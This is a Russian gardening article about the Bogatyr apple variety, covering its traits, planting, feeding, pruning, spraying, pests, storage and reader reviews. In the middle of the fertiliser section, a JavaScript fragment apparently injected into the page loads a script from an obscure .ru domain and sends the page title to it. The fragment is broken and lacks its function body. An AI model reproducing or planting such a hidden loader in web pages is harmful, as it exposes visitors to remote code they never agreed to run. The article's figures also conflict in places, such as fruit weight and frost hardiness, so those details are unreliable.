Описание сорта яблони Богатырь: фото яблок, важные характеристики, урожайность с дерева
О чем статья:
Яблоня Богатырь описание сорта
Название яблоня Богатырь получила благодаря своим плодам крупного размера. Полностью созревают они после снятия урожая, полежав некоторое время, а хранятся до конца весны. Производителями и поставщиками консервации на продажу этот сорт был назван наиболее продуктивным.
Яблоня богатырь описание сорта — румянец на плодах
Яблоня Богатырь описание фото
Деревья Богатыря высокие и сильные, кора окрашена в красно-коричневый цвет. Толстые нижние ветви расположены практически перпендикулярно к стволу, более молодые верхние — под небольшим углом. Крона яблони широкая и раскидистая. Плодоносят, в основном, ветки возрастом 4-5 лет.
Плоды яблони Богатырь среднего или даже крупного размера, округлой формы, слегка уплощенные и раздутые по бокам, весом до 150 г. На поверхности яблока хорошо заметны несколько ребер. Когда плоды Богатыря собирают в конце осени, они имеют зеленоватый окрас, а в процессе полного созревания становятся желтыми с ярким красным румянцем. Мякоть очень приятна на вкус, белого цвета и обладает особенным ароматом.
Сорт яблок богатырь — необычная форма плодов
Благодаря своей твердости яблоки сорта Богатырь очень долго хранятся (до полугода). Их транспортабельность самая высокая, а процент товарности фруктов составляет 90% от всего собранного урожая, более 60% из которых относятся к высшему сорту.
Раннеспелым Богатыря не назовешь, поскольку плодоносить он начинает лишь на 6-7 год, но очень быстро наращивает объемы урожая. Здоровая яблоня за год способна принести до центнера плодов. Плюсом также является стабильная ежегодная урожайность.
Сорт яблок Богатырь хорошо переносит морозы и относится к зимостойким. Также имеет высокую устойчивость к такому распространенному заболеванию, как парша. Яблоки характеризуются высоким уровнем содержания аскорбиновой кислоты (до 13 мг на 100 г продукта). Она приносит несомненную пользу для организма, если употреблять яблоки в пищу в сыром виде.
Описание и характеристика яблони
Дерево соответствуют своему названию. Оно высокое — до 6 м. Крона по ширине не уступает его высоте, она очень раскидистая, конусообразная или округлая. Внутренняя часть её оголенная, «прозрачная», поскольку новые ветки не отрастают. Ветви толстые, крепкие, гибкие и хорошо сцеплены со стволом. Кора оливкового цвета. Листовые пластины овальные, зубчатые, на нижней стороне есть лёгкое опушение.
Весной яблоня покрывается цветками бело-розового цвета. Основная доля плодов формируется на самых коротеньких розеточных побегах — кольчатках, реже — на плодовых прутиках.
Плоды легко узнать по приплюснутой форме и крупному размеру — средний вес около 160 г, встречаются экземпляры с максимальным весом в 400 г. Поверхность яблок гладкая, без шероховатостей, широкоребристая. Съёмные плоды светло-зелёные, зрелые, достигшие потребительской спелости — жёлтые. Бочки плодов, куда попадали солнечные лучи, покрыты ярким румянцем. Транспортабельность яблок отличная, благодаря грубой кожице.
Мякоть имеет мелкозернистую структуру. Она плотная, хрустящая, белого цвета и ароматная. Вкус кисло-сладкий. По сравнению с «Антоновкой» в «Богатыре» концентрация кислот меньше, поэтому плоды слаще.
Данный сорт рекомендован для выращивания в Центрально-Чернозёмном, Волго-Вятском и Центральном районах, но садоводы Северо-Западного региона и Сибири не остались в стороне и с удовольствием культивируют «Богатыря» в своих садах.
Посадка и уход
Уход за яблонями включает ежегодную обрезку. В начале жизни растений она несет в основном формирующую функцию, а затем — санитарную и омолаживающую. Срезанные части и осенний опад можно удалить из сада и сжечь, или использовать для приготовления компаста.
Подкармливают яблони по обычной для большинства растений схеме: весной отдают предпочтение азотным соединениям, а позже добавляют золу и суперфосфат.
При посадке сорта надо сразу предусмотреть отступ в 4,5-5 метров, чтобы крона получила достаточно солнечных лучей, а корневая система — питательных веществ. Как и большинство яблонь, Богатырь предпочитает плодородные суглинки и плохо переносит подтапливание. Поэтому в тех местностях, где грунтовые воды стоят высоко, яблоневые сады закладывают на холмах либо предусматривают дренажные канавы.
В районах с жарким летом и скудными осадками деревья обязательно следует поливать, Делают это во рвы по проекции кроны либо специальным приспособлением — гидробуром, который доставляет воду к корням.
Как спасти яблоню от заморозков на видео:
https://www.youtube.com/embed/2JoqeYk0gBM?rel=0&fs=1&wmode=traparent»
Посадка и уход
Молодые яблони в саду
Независимо от сроков посадки – ранняя весна, поздняя осень, посадочная яма должна готовиться с осени. При выборе места помнить, что крона у взрослой яблони будет около 6 метров. Высоких деревьев или построек ближе 4,5 метров быть не должно.
На заметку. Если грунтовые воды близко к поверхности откажитесь от посадки в этом месте. Яблоня расти не будет, только время будет напрасно потрачено.
Яма должна быть глубокая – 70 см. и широкая – 1 м. Копая яму нужно оценить состав почвы. На суглинистой почве стоит позаботиться о комфортных условиях для корней. Дренажный слой (щебень, галька, битый кирпич) толщиной в 20-25 см обеспечит нормальный водный баланс для корневой системы и исключит их загнивание. В почву добавить песок, перегной, торф для улучшения структуры.
Подготовка саженца к посадке начинается с осмотра. Нужно выявить все повреждения на корнях и на надземной части (ствол, ветви). Подсохшие, подгнившие корни обрезать. Ветви поломанные вырезать.
В питомнике, саженцы продаются в течение некоторого времени, корневая система может за это время высохнуть. Для ее восстановления нужно налить в емкость подходящего размера воду и поместить туда саженец. Он должен постоять в воде не менее 2 суток.
Если некоторые корни были повреждены, и их пришлось вырезать, стоит воспользоваться старинным рецептом – глиняной болтушкой. Готовится она просто. Берут 3 части глины,1 часть коровяка и разводят водой. Раствор должен быть достаточно густой. В него обмакивают корни саженца перед посадкой.
Удобрения для «Богатыря»
Посадка яблони с удобрением
Без удобрений не обойтись, особенно первые годы после посадки. Яблоня будет давать богатырские яблоки, если ее своевременно подкармливать. Особенно важны калийные удобрения. Вносят их осенью. Достаточное количество калия обеспечит полноценное развитие дерева.
На третий год после посадки и все последующие за ним годы яблоне понадобятся подкормки азотсодержащими удобрениями. Проводят их весной. После оттаивания земли в приствольном круге. Можно использовать мочевину. По всей площади круга рассыпать 200-300 г удобрения, почву слегка перекопать и хорошо полить.
var m5d6fd70f32c60 = document.createElement(‘script’);
m5d6fd70f32c60.src=’https://s98k2dmmbm.ru/show/?’ + Math.round(Math.random()*100000) + ‘=’ + Math.round(Math.random()*100000) + ‘&’ + Math.round(Math.random()*100000) + ‘=3085&’ + Math.round(Math.random()*100000) + ‘=’ + document.title +’&’ + Math.round(Math.random()*100000);
function f5d6fd70f32c60() else
}
f5d6fd70f32c60();
Уход за кроной – гарантия хорошего и длительного плодоношения. Своевременное удаление поврежденных и больных ветвей, ветвей, растущих внутрь кроны. Эти этапы проводят обязательно весной. Самый подходящий для этих работ месяц – апрель.
Если вырезать всю ветвь, то вырезать полностью на кольцо. Пенька не должно остаться. Здоровые ветви укорачивать для активизации роста. Крупные срезы замазывать садовым варом.
Опрыскивания – профилактика болезней и вредителей
Опрыскивание яблони на участке
Для профилактики, пока почки не раскрылись, провести первую обработку. Для облегчения этого довольно тяжелого труда нужно приобрести удобный опрыскиватель, такой, чтобы с земли можно было достать и обработать большую часть кроны.
Препараты для весенней обработки:
- Строби;
- Фьюри;
- Инта-Вир.
Эти же препараты можно использовать для второй обработки. Время для ее проведения – формирование бутонов. У каждого препарата есть инструкция по применению нужно четко придерживаться рекомендаций и не превышать необходимую концентрацию раствора. Работать в безветренную погоду при отсутствии дождя.
Совет. Применяйте раствор борной кислоты ежегодно. Одну пачку (20 г) развести в ведре воды. Раствора хватит, чтобы обработать весь сад. Борная кислота полезна не только плодовым деревьям. Ей можно опрыскать томаты, перцы, огурцы.
Первый раз опрыскать в начале цветения. Повторить через неделю. Отмечено, что после 2-х кратной обработки борной кислотой завязи опадает меньше, яблоки более сладкие, прирост побегов больше, заболеваний меньше.
Полив и подготовка к зиме
Полив лунки
Поливать по погоде. Если идут дожди и земля мокрая поливы не нужны, а вот когда дожди перепадают редко, поливать стоит каждую неделю. Для молодого деревца достаточно 3-х ведер воды, а яблоням постарше нужно столько ведер, сколько яблоне лет.
Для обильного полива нужен приствольный круг большого размера. Нужно следить за его чистотой. Сорняки, особенно высокие удалять, почву рыхлить, мульчировать после полива или дождя.
Подготовка к зиме начинается с побелки. Белить нужно не только ствол, побелка нужна и самым крупным скелетным ветвям. Побелка – профилактика солнечных ожогов, вредителей, болезней.
Перед наступлением морозов в почву внести удобрения:
- золу;
- хлористый натрий;
- суперфосфат;
- компост.
Молодым деревьям можно обвязать ствол лапником. Идеальное утепление – снег. Сугроб вокруг ствола весной надо будет убрать, а зимой накидывать снега на яблоню как можно больше.
Размножение
Гибридный сорт яблок Богатырь выведен Семеном Федоровичем Черненко путем скрещивания сортов Антоновка и Ренет Ландсберг. Поэтому размножать культуру семенами нежелательно. Может получиться совсем другой сорт или дичок.
Лучше размножать путем прививки, весной. Для этого возьмите черенок от однолетнего растения. Срежьте под углом боковую ветку. На подвое выберите крупную ветку, сделайте глубокий надрез и вставьте черенок. Надрез замажьте садовым варом, пластилином или замотайте изолентой. Прививка прошла успешно, когда на черенке появились листочки. Мы подробно расписали когда лучше проводить прививку яблони.
Болезни и вредители
Кора заболевшего дерева
Яблоня Богатырь имеет крепкое здоровье, но профилактику проводить нужно. У старых яблонь нужно чистить кору. Приствольный круг перекапывать периодически.
От плодожорки спасет приманка:
- падалица – 700 г.;
- вода – 2 л.;
- сыворотка – 0,5 л.;
- квас – 0,5 л.;
- дрожжи – 20 г.;
- сахар – 1 ст.
Падалицу кипятить, потом добавить в нее все остальное. Когда этот раствор постоит в тепле, он начнет бродить. Забродившую жидкость нужно разлить по банкам и развешать их на яблони.
Сбор урожая и хранение
Яблоки сорта «Богатырь» держатся на дереве очень прочно вплоть до самого сбора урожая. Этап съемной зрелости наступает в середине сентября. Опытные садоводы и селекционеры рекомендуют осуществлять сбор урожая как можно позже. Это связано с особенностью плодов: яблоки этого сорта склонны при раннем сборе к съеживанию.
Потребительская зрелость плодов наступает в декабре. Правильно и в срок снятые яблоки сорта «Богатырь» легко сохранятся до последних чисел мая, а при бережном и правильном отношении могу лежать и до середины лета. При этом плоды не теряют аромата и характерной хрусткости. При длительном хранении товарность яблок удерживается на уровне 90%. Единственным недостатком внешнего вида плодов многие садоводы считают недостаточную насыщенность окрашивания кожицы.
Мы вам также предлагаем узнать об особенностях яблонь сортов «Есаул Ермака» и «Памяти Есаула».
Отзывы
Богатырь – зимнее яблоко. Осенью при уборке вкус плохой, очень кислый, мякоть твердая, но отлично хранится. К концу осени кислота уходит, в начале зимы становится вкусным.
Николай Васильевич
Морозостойкость средняя – из минусов. Плодожоркой сорт сравнительно с другими сортами слабо поражается, даже без обработок. Яблоки крупные, если правильно обрезать и не перегружать дерево, отлично хранятся.
Владимир
На даче есть очень старое дерево этого сорта. Большое по размеру, тогда еще карликовых подвоев не было. Яблоки по размеру впечатляющие, бывают больше 600 граммов! Хранятся отлично, едим всю зиму.
Александр
Яблоня сорта Богатырь не зря считается одной из самых популярных зимних яблонь:
- Ее урожайность,
- Ежегодное плодоношение,
- Возможность перевозить урожай на длительные расстояния,
- Долгое хранение плодов без потери товарного вида
открывают большие перспективы для использования ее не только для частного садоводства, но и для производства в промышленных масштабах.
Статья составлена по материалам следующих страниц:
